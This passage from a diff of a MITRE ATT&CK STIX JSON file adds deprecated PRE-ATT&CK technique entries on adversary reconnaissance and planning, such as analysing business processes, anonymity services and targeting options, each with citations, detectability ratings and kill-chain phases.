"2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze architecture and configuration posture", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288).\n\nAn adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1288", + "external_id": "T1288" + }, + { + "source_name": "FireEyeAPT28", + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weakness automatically.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1065", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze business processes", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301).\n\nBusiness processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1301", + "external_id": "T1301" + }, + { + "source_name": "Warwick2015", + "description": "Warwick Ashford. (2015, March). Cyber crime: What every business needs to know. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1078", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--773950e1-090c-488b-a480-9ff236312e31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze data collected", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287).\n\nAn adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1287", + "external_id": "T1287" + }, + { + "source_name": "SurveyDetectionStrategies", + "description": "Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017." + }, + { + "source_name": "CyberReconPaper", + "description": "H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017." + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + }, + { + "source_name": "FireEyeAPT28", + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weaknesses automatically. Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1064", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze hardware/software security defensive capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1294).\n\nAn adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1294", + "external_id": "T1294" + }, + { + "source_name": "OSFingerprinting2014", + "description": "InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Analyze network traffic to determine security filtering policies, packets dropped, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1071", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze organizational skillsets and deficiencies", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300).\n\nAnalyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1300", + "external_id": "T1300" + }, + { + "source_name": "FakeLinkedIn", + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1077", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze organizational skillsets and deficiencies", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289).\n\nAnalyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1289", + "external_id": "T1289" + }, + { + "source_name": "FakeLinkedIn", + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1066", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze organizational skillsets and deficiencies", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297).\n\nUnderstanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1297", + "external_id": "T1297" + }, + { + "source_name": "FakeLinkedIn", + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No access to who is consuming the job postings to know what is being observed.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Job postings have to be made public for contractors and many times have the name of the organization being supported.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1074", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze presence of outsourced capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303).\n\nOutsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1303", + "external_id": "T1303" + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + }, + { + "source_name": "OPM Breach", + "description": "Hon. Jason Chaffetz, Hon. Mark Meadows, Hon. Will Hurd. (2016, September 7). The OPM Data Breach: How the Government Jeopardized Our National Security for More than a Generation. Retrieved March 28, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1080", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze social and business relationships, interests, and affiliations", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295).\n\nSocial media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1295", + "external_id": "T1295" + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1072", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Anonymity services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306).\n\nAnonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1306", + "external_id": "T1306" + }, + { + "source_name": "TOR Design", + "description": "Roger Dingledine, Nick Mathewson, Paul Syverson. (2004, August). Tor: The Second-Generation Onion Router. Retrieved March 28, 2017." + }, + { + "source_name": "Stratfor2012", + "description": "Sean Gallagher. (2012, March 6). Inside the hacking of Stratfor: the FBI\u2019s case against Antisec member Anarchaos. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1083", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess KITs/KIQs benefits", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229).\n\nKey Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1229", + "external_id": "T1229" + }, + { + "source_name": "CompetitiveIntelligence", + "description": "Matt H. Evans. (n.d.). Course 12: Competitive Intelligence (Part 2 of 2). Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1006", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess current holdings, needs, and wants", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236).\n\nAnalysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1236", + "external_id": "T1236" + }, + { + "source_name": "CyberAdvertisingChar", + "description": "Tom Parker, Matt Devost, Marcus Sachs, and Toby Miller. (2003). Cyber Adversary Characterization. Retrieved March 5, 2017." + }, + { + "source_name": "CIATradecraft", + "description": "Central Intelligence Agency. (2009). A Tradecraft Primer: Structured Analytic Techniques for Improving Intelligence Analysis. Retrieved March 5, 2017." + }, + { + "source_name": "ForensicAdversaryModeling", + "description": "John Lowry, Rico Valdez, Brad Wood. (n.d.). Adversary Modeling to Develop Forensic Observables. Retrieved March 5, 2017." + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1013", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess leadership areas of interest", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224).\n\nLeadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1224", + "external_id": "T1224" + }, + { + "source_name": "ODNIIntegration", + "description": "Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1001", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess opportunities created by business deals", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299).\n\nDuring mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1299", + "external_id": "T1299" + }, + { + "source_name": "RossiMergers", + "description": "Ben Rossi. (2014, August 29). Mergers and acquisitions: a new target for cyber attack. Retrieved March 6, 2017." + }, + { + "source_name": "MeidlHealthMergers", + "description": "Holly Meidl. (2015, December 16). How Health Care Companies Can Reduce the Risk of Cyber-Attack During Mergers and Acquisitions. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1076", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess security posture of physical locations", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302).\n\nPhysical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1302", + "external_id": "T1302" + }, + { + "source_name": "CyberPhysicalAssessment", + "description": "Doug MacDonald, Samuel L Clements, Scott W Patrick, Casey Perkins, George Muller, Mary J Lancaster, Will Hutton. (2013, February). Cyber/physical security vulnerability assessment integration. Retrieved March 6, 2017." + }, + { + "source_name": "CriticalInfrastructureAssessment", + "description": "J. Depoy, J. Phelan, P. Sholander, B. Smith, G.B. Varnado and G. Wyss. (2015). RISK ASSESSMENT for PHYSICAL AND CYBER ATTACKS on CRITICAL INFRASTRUCTURES. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1079", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess targeting options", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296).\n\nAn adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1296", + "external_id": "T1296" + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + }, + { + "source_name": "EverstineAirStrikes", + "description": "Brian Everstine. (2015, June 04). Carlisle: Air Force intel uses ISIS 'moron's' social media posts to target airstrikes. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1073", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": 